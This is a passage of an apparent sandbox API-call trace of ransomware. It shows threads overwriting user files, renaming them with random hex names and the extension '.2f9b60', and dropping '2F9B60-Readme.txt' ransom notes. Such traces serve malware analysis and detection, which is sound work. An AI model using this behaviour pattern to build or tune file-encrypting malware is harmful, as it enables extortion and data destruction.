(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0187.933] WriteFile (in: hFile=0x1c40, lpBuffer=0x4224f200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2940fa20, lpOverlapped=0x0 | out: lpBuffer=0x4224f200*, lpNumberOfBytesWritten=0x2940fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0205.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4224f200) returned 1 [0205.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f050 [0205.183] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.183] WriteFile (in: hFile=0x1c40, lpBuffer=0x431f4b40*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2940fad0, lpOverlapped=0x0 | out: lpBuffer=0x431f4b40*, lpNumberOfBytesWritten=0x2940fad0*=0x14a, lpOverlapped=0x0) returned 1 [0208.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61880 [0208.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb460 [0208.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f52c0 [0208.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f52c0) returned 1 [0208.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d520 [0208.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f52c0 [0208.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5740 [0208.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5740) returned 1 [0208.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb460) returned 1 [0208.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61880) returned 1 [0208.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5e370 [0208.500] sprintf (in: _Dest=0x1ce5e370, _Format="%c%c" | out: _Dest="a4") returned 2 [0208.500] sprintf (in: _Dest=0x1ce5e372, _Format="%c%c" | out: _Dest="60") returned 2 [0208.500] sprintf (in: _Dest=0x1ce5e374, _Format="%c%c" | out: _Dest="d6") returned 2 [0208.500] sprintf (in: _Dest=0x1ce5e376, _Format="%c%c" | out: _Dest="ad") returned 2 [0208.500] sprintf (in: _Dest=0x1ce5e378, _Format="%c%c" | out: _Dest="d2") returned 2 [0208.500] sprintf (in: _Dest=0x1ce5e37a, _Format="%c%c" | out: _Dest="94") returned 2 [0208.500] sprintf (in: _Dest=0x1ce5e37c, _Format="%c%c" | out: _Dest="f6") returned 2 [0208.500] sprintf (in: _Dest=0x1ce5e37e, _Format="%c%c" | out: _Dest="d5") returned 2 [0208.500] sprintf (in: _Dest=0x1ce5e380, _Format="%c%c" | out: _Dest="ae") returned 2 [0208.500] sprintf (in: _Dest=0x1ce5e382, _Format="%c%c" | out: _Dest="d6") returned 2 [0208.500] sprintf (in: _Dest=0x1ce5e384, _Format="%c%c" | out: _Dest="50") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e386, _Format="%c%c" | out: _Dest="ff") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e388, _Format="%c%c" | out: _Dest="9c") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e38a, _Format="%c%c" | out: _Dest="78") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e38c, _Format="%c%c" | out: _Dest="e7") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e38e, _Format="%c%c" | out: _Dest="f3") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e390, _Format="%c%c" | out: _Dest="54") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e392, _Format="%c%c" | out: _Dest="c1") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e394, _Format="%c%c" | out: _Dest="fd") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e396, _Format="%c%c" | out: _Dest="f3") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e398, _Format="%c%c" | out: _Dest="39") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e39a, _Format="%c%c" | out: _Dest="f3") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e39c, _Format="%c%c" | out: _Dest="c3") returned 2 [0208.501] sprintf (in: _Dest=0x1ce5e39e, _Format="%c%c" | out: _Dest="03") returned 2 [0208.501] RtlInitAnsiString (in: DestinationString=0x2940fb48, SourceString="a460d6add294f6d5aed650ff9c78e7f354c1fdf339f3c303" | out: DestinationString="a460d6add294f6d5aed650ff9c78e7f354c1fdf339f3c303") [0208.501] RtlAnsiStringToUnicodeString (in: DestinationString=0x2940fb18, SourceString="a460d6add294f6d5aed650ff9c78e7f354c1fdf339f3c303", AllocateDestinationString=1 | out: DestinationString="a460d6add294f6d5aed650ff9c78e7f354c1fdf339f3c303") returned 0x0 [0208.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e96e0 [0208.502] wcscat (in: _Dest=0x431d9380, _Source="a460d6add294" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\a460d6add294") returned="C:\\Program Files\\Microsoft Office\\Office14\\a460d6add294" [0208.502] wcscat (in: _Dest=0x431d9380, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\a460d6add294.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\a460d6add294.2f9b60" [0208.502] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\a460d6add294.2f9b60", NtPathName=0x2940faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\a460d6add294.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050d580 Thread: id = 1800 os_tid = 0xc18 [0132.227] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url")) returned 0x20 [0132.230] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", dwFileAttributes=0x20) returned 1 [0132.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac8 [0132.231] GetFileSizeEx (in: hFile=0x1ac8, lpFileSize=0x2953f6a0 | out: lpFileSize=0x2953f6a0*=133) returned 1 [0132.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0132.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668a0 [0132.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b10 [0132.232] NtQuerySystemTime (in: CurrentTime=0x2953f560 | out: CurrentTime=0x2953f560*=132462177374746000) returned 0x0 [0132.232] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x1f1319b0 [0132.232] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x45138a73 [0132.232] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x4a62784b [0132.232] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x6cbb3e36 [0132.232] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x6ae3f45d [0132.232] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x3b56ba59 [0132.232] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x50a8315f [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0xbca3c2f [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x43347bbb [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x49177eba [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x2d23aa6d [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x76c7e42a [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x48609d7e [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x4184c2f9 [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0xcd3f6a9 [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x7c5ceffd [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x4d9260a3 [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x47e26f5f [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x464f4c94 [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x43a29d2b [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x504e65ba [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x76eb879 [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x639c618 [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x542c870a [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x3e0c318 [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x31ab1f3c [0132.233] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x41771fe8 [0132.234] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x22d725e [0132.234] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x61d445ab [0132.234] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x7da02054 [0132.234] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x21af57c3 [0132.234] RtlRandomEx (in: Seed=0x2953f550 | out: Seed=0x2953f550) returned 0x210c3da1 [0132.245] ReadFile (in: hFile=0x1ac8, lpBuffer=0x41f100b0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2953f550, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesRead=0x2953f550*=0x85, lpOverlapped=0x0) returned 1 [0132.247] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.247] WriteFile (hFile=0x1ac8, lpBuffer=0x41f1b4e0, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2953f554, lpOverlapped=0x0) [0180.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced88e0 [0180.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced71d0 [0180.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced71d0) returned 1 [0180.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0180.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0180.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0180.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0180.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced71d0 [0180.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0180.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0180.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0180.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0180.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced7710 [0180.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ce0 [0180.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7cb0 [0180.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7cb0) returned 1 [0180.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0180.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0180.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x42c14090 [0180.143] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.144] WriteFile (in: hFile=0x1ac8, lpBuffer=0x42c14090*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2953f670, lpOverlapped=0x0 | out: lpBuffer=0x42c14090*, lpNumberOfBytesWritten=0x2953f670*=0x10c, lpOverlapped=0x0) returned 1 [0188.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0188.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0188.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a80 [0188.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a80) returned 1 [0188.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20266a80 [0188.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0188.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0188.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266780) returned 1 [0188.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0188.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0188.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9fd30 [0188.315] sprintf (in: _Dest=0x1cd9fd30, _Format="%c%c" | out: _Dest="11") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd32, _Format="%c%c" | out: _Dest="37") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd34, _Format="%c%c" | out: _Dest="91") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd36, _Format="%c%c" | out: _Dest="b7") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd38, _Format="%c%c" | out: _Dest="04") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd3a, _Format="%c%c" | out: _Dest="64") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd3c, _Format="%c%c" | out: _Dest="18") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd3e, _Format="%c%c" | out: _Dest="7d") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd40, _Format="%c%c" | out: _Dest="d4") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd42, _Format="%c%c" | out: _Dest="f9") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd44, _Format="%c%c" | out: _Dest="5f") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd46, _Format="%c%c" | out: _Dest="54") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd48, _Format="%c%c" | out: _Dest="22") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd4a, _Format="%c%c" | out: _Dest="97") returned 2 [0188.315] sprintf (in: _Dest=0x1cd9fd4c, _Format="%c%c" | out: _Dest="c4") returned 2 [0188.316] sprintf (in: _Dest=0x1cd9fd4e, _Format="%c%c" | out: _Dest="19") returned 2 [0188.316] sprintf (in: _Dest=0x1cd9fd50, _Format="%c%c" | out: _Dest="c2") returned 2 [0188.316] sprintf (in: _Dest=0x1cd9fd52, _Format="%c%c" | out: _Dest="90") returned 2 [0188.316] sprintf (in: _Dest=0x1cd9fd54, _Format="%c%c" | out: _Dest="5d") returned 2 [0188.316] sprintf (in: _Dest=0x1cd9fd56, _Format="%c%c" | out: _Dest="45") returned 2 [0188.316] sprintf (in: _Dest=0x1cd9fd58, _Format="%c%c" | out: _Dest="64") returned 2 [0188.316] sprintf (in: _Dest=0x1cd9fd5a, _Format="%c%c" | out: _Dest="4d") returned 2 [0188.316] sprintf (in: _Dest=0x1cd9fd5c, _Format="%c%c" | out: _Dest="53") returned 2 [0188.316] sprintf (in: _Dest=0x1cd9fd5e, _Format="%c%c" | out: _Dest="ca") returned 2 [0188.316] sprintf (in: _Dest=0x1cd9fd60, _Format="%c%c" | out: _Dest="51") returned 2 [0188.316] sprintf (in: _Dest=0x1cd9fd62, _Format="%c%c" | out: _Dest="7b") returned 2 [0188.316] RtlInitAnsiString (in: DestinationString=0x2953f6e8, SourceString="113791b70464187dd4f95f542297c419c2905d45644d53ca517b" | out: DestinationString="113791b70464187dd4f95f542297c419c2905d45644d53ca517b") [0188.316] RtlAnsiStringToUnicodeString (in: DestinationString=0x2953f6b8, SourceString="113791b70464187dd4f95f542297c419c2905d45644d53ca517b", AllocateDestinationString=1 | out: DestinationString="113791b70464187dd4f95f542297c419c2905d45644d53ca517b") returned 0x0 [0188.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20504f10 [0188.317] RtlFreeAnsiString (AnsiString="1") [0188.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fd30) returned 1 [0188.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a80) returned 1 [0188.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ae0) returned 1 [0188.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c14090) returned 1 [0188.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0188.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ce0) returned 1 [0188.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced71d0) returned 1 [0188.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced88e0) returned 1 [0188.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668a0) returned 1 [0188.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a20) returned 1 [0188.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668d0) returned 1 [0188.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1ce63790 [0188.322] wcscat (in: _Dest=0x1ce63790, _Source="113791b704641" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\113791b704641") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\113791b704641" [0188.322] wcscat (in: _Dest=0x1ce63790, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\113791b704641.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\113791b704641.2f9b60" [0188.322] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\113791b704641.2f9b60", NtPathName=0x2953f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\113791b704641.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x42c37b90 [0209.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37b90) returned 1 [0209.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290ba0) returned 1 [0209.161] NtQueryInformationFile (in: FileHandle=0x1ac8, IoStatusBlock=0x2953f6f8, FileInformation=0x2953f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2953f6f8, FileInformation=0x2953f708) returned 0x0 [0209.161] NtSetInformationFile (FileHandle=0x1ac8, IoStatusBlock=0x2953f6f8, FileInformation=0x2953f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63790) returned 1 [0216.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f10) returned 1 [0216.750] FlushFileBuffers (hFile=0x1ac8) returned 1 [0221.424] CloseHandle (hObject=0x1ac8) returned 1 [0223.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431834e0 [0223.038] wcscpy (in: _Dest=0x431834e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0223.038] wcscat (in: _Dest=0x431834e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" [0223.039] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\2f9b60-readme.txt")) returned 0x20 [0226.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431834e0) returned 1 [0226.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d4a0) returned 1 Thread: id = 1801 os_tid = 0xc20 [0132.250] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url")) returned 0x20 [0132.251] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", dwFileAttributes=0x20) returned 1 [0132.252] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ad4 [0132.252] GetFileSizeEx (in: hFile=0x1ad4, lpFileSize=0x2984f6c0 | out: lpFileSize=0x2984f6c0*=133) returned 1 [0132.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0132.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b10 [0132.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0132.252] NtQuerySystemTime (in: CurrentTime=0x2984f580 | out: CurrentTime=0x2984f580*=132462177374902000) returned 0x0 [0132.252] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x1bc681d [0132.252] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x41215822 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x18d37b17 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x1c78e90f [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x5a7cd8a4 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x2ad58c33 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x76825bc0 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x4c59255a [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x2c72ecad [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x2a98b88c [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x5d825542 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x72c66464 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x56019c13 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x6ba7cd56 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x2fe80955 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x1a459c6a [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x60c0adb9 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x2bc7c474 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x1b4d9fbd [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x5243e672 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x16b283cd [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x5c72dc58 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x26fbccba [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x13bcb461 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x3685bcd8 [0132.253] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x41b69f50 [0132.254] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x364cf423 [0132.254] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x5a8a084b [0132.254] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x7c5968e9 [0132.254] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x2f1dc694 [0132.254] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x5145ce47 [0132.254] RtlRandomEx (in: Seed=0x2984f570 | out: Seed=0x2984f570) returned 0x2ff0c7a3 [0132.264] ReadFile (in: hFile=0x1ad4, lpBuffer=0x41f2e130, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2984f570, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesRead=0x2984f570*=0x85, lpOverlapped=0x0) returned 1 [0132.265] SetFilePointerEx (in: hFile=0x1ad4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.265] WriteFile (hFile=0x1ad4, lpBuffer=0x201f9560, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2984f574, lpOverlapped=0x0) [0180.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0180.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f80 [0180.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f80) 